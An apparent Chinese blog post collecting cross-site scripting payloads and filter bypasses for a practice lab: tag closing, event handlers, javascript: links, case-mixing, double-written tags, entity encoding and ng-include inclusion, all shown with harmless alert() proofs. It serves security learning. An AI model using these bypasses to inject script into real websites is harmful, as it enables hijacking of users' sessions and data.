XSS

First Post:

Last Update:

Word Count:
533

Read Time:
2 min

Page View: loading...

1
2
3
4
5
<script>alert(1)</script>

在 input 中闭合 input 标签
">"<script>alert(1)</script>

当特殊符号被编码或者被过滤时,

若单双引号正常,可用 onmouseover 事件或 onmouseout 事件

这一事件的效果是当我们的鼠标碰到 input 标签的位置,也就是搜索框时,会执行 onmouseover 事件。‘或”闭合标签的单双引号

1
' onmouseover=javascript:alert(1) '
1
"onfocus=javascript:alert('xss')>//

当某字符之间被强制加入下划线等符号或者被编码,则可用 javascript 伪协议,

构造闭合后新建一个 a 标签,在其中使用伪协议进行绕过

1
"><a href=javascript:alert(/1/)>

当标签也被过滤(加下划线等或者被删除),还有大小写绕过,双写绕过

1
"><ScripT>alert(1)</ScRipt>
1
"><sscriptcript>alert('xss')</sscriptcript>

当有 url 正常格式合法检查时,可在正常网址格式前加入恶意代码

1
2
3
javascript:alert('xss')http://www.qq.com
再 unicode 编码绕过
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;//http://www.baidu.com

一步步依次排查网页检测过滤的条件逐步绕过

还可以直接修改隐藏属性,

1
2
?keyword=nul&t_sort=" type="text" onclick="alert('xss')

还可观察数据包查看哪些字段可以被插入如 reference,cookie 等

标签中有 class=”ng-include:”则可包含有漏洞的文件进行攻击

1
?src='/level1.php?name=<p onmousedown=alert()> 哈哈哈 </p>'

回车(%0a)还可代替空格

1
2
 测试关键字 
" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>;

如果会将输入输出,可以使用以下来显示出链接

1
<a href="" onclick="alert('xss')">

总结:想办法闭合,注意格式,绕过时双写,编码,大小写,或者用别的方法(伪协议,onclick,)